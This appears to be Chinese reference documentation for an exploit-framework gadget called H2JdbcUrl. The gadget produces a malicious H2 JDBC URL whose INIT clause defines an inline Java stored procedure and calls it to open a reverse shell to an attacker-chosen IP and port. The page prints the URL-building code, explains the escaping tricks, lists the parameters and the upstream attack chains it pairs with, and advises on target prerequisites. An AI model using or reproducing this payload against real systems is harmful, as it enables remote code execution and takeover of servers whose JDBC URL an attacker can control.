- 类别:common 别名:— 优先级:30
- 作者:—
- 依赖:
com.h2database:h2(org.h2.Driver)
面向「JDBC URL 可控」的攻击场景:生成一段 H2 数据库的恶意 JDBC 连接串,利用 H2 的 INIT 参数在建立连接时创建 Java 存储过程(CREATE ALIAS)并立即 CALL,向攻击者指定的 ip:port 弹回一个交互式 shell。它本身不是「反序列化 gadget」,而是 JDBC-URL 利用链的终端 sink——产物是一个 String(JDBC URL),交给上游能触发 DriverManager.getConnection(url) 的组件即可 RCE。
- 入口
tags:H2JdbcUrl、JdbcUrlChains、ENDH2JdbcUrl/JdbcUrlChains:标记本 gadget 属于「JDBC URL 注入」家族,需由能消费一个可控 JDBC URL 的上游驱动(如 Fastjson/JNDI 数据源工厂、HikariJdbcAttack、DruidJdbcAttack等)。END:终端标记,链条到此结束,不再向下衔接。
- 衔接
nextTags:无(终端)。 excludes:无。
核心是拼装一个带 INIT 脚本的 H2 内存库 URL:
@Param(name="reverse ip") public String ip = "127.0.0.1";
@Param(name="reverse port") public String reversePort = "9999";
public String driverClassName = "org.h2.Driver";
public String getObject() {
String url = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS REV_SHELL AS "
+ "'void rev_shell(String host, String port) throws java.lang.Exception {"
+ "String shell=System.getProperty(\"os.name\").toLowerCase().contains(\"win\")?\"cmd\":\"sh\"\\;"
+ "Process p=new ProcessBuilder(shell).redirectErrorStream(true).start()\\;"
+ "java.net.Socket s=new java.net.Socket(host,Integer.valueOf(port))\\;"
+ "...(双向转发 InputStream/OutputStream 的循环)..."
+ "}'\\;CALL REV_SHELL ('" + this.ip + "', '" + this.reversePort + "')\\;";
return url;
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
context.put(ContextTag.DRIVER_CLASS_NAME_KEY, this.driverClassName); // 告知框架使用 org.h2.Driver
return this.getObject();
}逐段解释:
jdbc:h2:mem:testdb:连接一个临时内存库,无需磁盘/鉴权,连接即建库。INIT=...:H2 特有参数,会在连接建立后立即执行其中的 SQL。这里先CREATE ALIAS REV_SHELL AS '<Java 源码>'——H2 允许用内联 Java 源码定义存储过程(内部用编译器现场编译),随后CALL REV_SHELL(ip, port)触发。- 反弹 shell 逻辑:根据
os.name选cmd/sh启动进程,建立到host:port的Socket,在while(!s.isClosed())循环里把进程 stdout/stderr 与 socket 双向搬运,实现交互式 shell。 \\;转义:SQL 语句以;分隔,而 Java 源码体内部也需要;,故内联源码里的分号写成\;(反编译串中体现为\\;)以避免被 H2 当作语句结束符。invoke只做两件事:把DRIVER_CLASS_NAME_KEY=org.h2.Driver写入上下文(供上游选择正确驱动),然后返回 URL 字符串。注意它不调用chain.doCreate——即不依赖任何内层 gadget,是自足的链尾。
| 字段 | 名称 | 说明 | 默认 | 可选值 |
|---|---|---|---|---|
ip |
reverse ip | 反弹目标 IP | 127.0.0.1 |
— |
reversePort |
reverse port | 反弹目标端口 | 9999 |
— |
(driverClassName 为固定字段,非 @Param,值 org.h2.Driver。)
- 依赖目标 classpath 存在
com.h2database:h2,且攻击者能控制被DriverManager.getConnection使用的 JDBC URL。 - 依赖 H2 的
INIT+CREATE ALIAS内联 Java 编译能力,需目标 JRE 带编译器(javax.tools/JDK 环境)。较新 H2 版本对INIT/CREATE ALIAS有加固或默认关闭的可能,实战需确认版本。 - 相比
H2RemoteJdbc(远程RUNSCRIPT)与H2JsExecJdbc(JS 触发器),本 gadget 优点是「一次连接即反弹、Payload 相对简短、无需外连 HTTP 拉取脚本」。
自由构件,未直接出现在 51 条预设链中(usedInChains 为空)。通常与「JDBC URL 可控」类上游(Fastjson 数据源、JNDI DataSource 工厂等)组合使用。
- 同族(H2 JDBC URL sink):H2JsExecJdbc、H2RemoteJdbc、
H2JavaJdbc1/H2JavaExecJdbc1。 - 上游(消费
H2JdbcUrl/JdbcUrlChains):HikariJdbcAttack、DruidJdbcAttack、FastjsonH2Jdbc等能触发getConnection(url)的组件。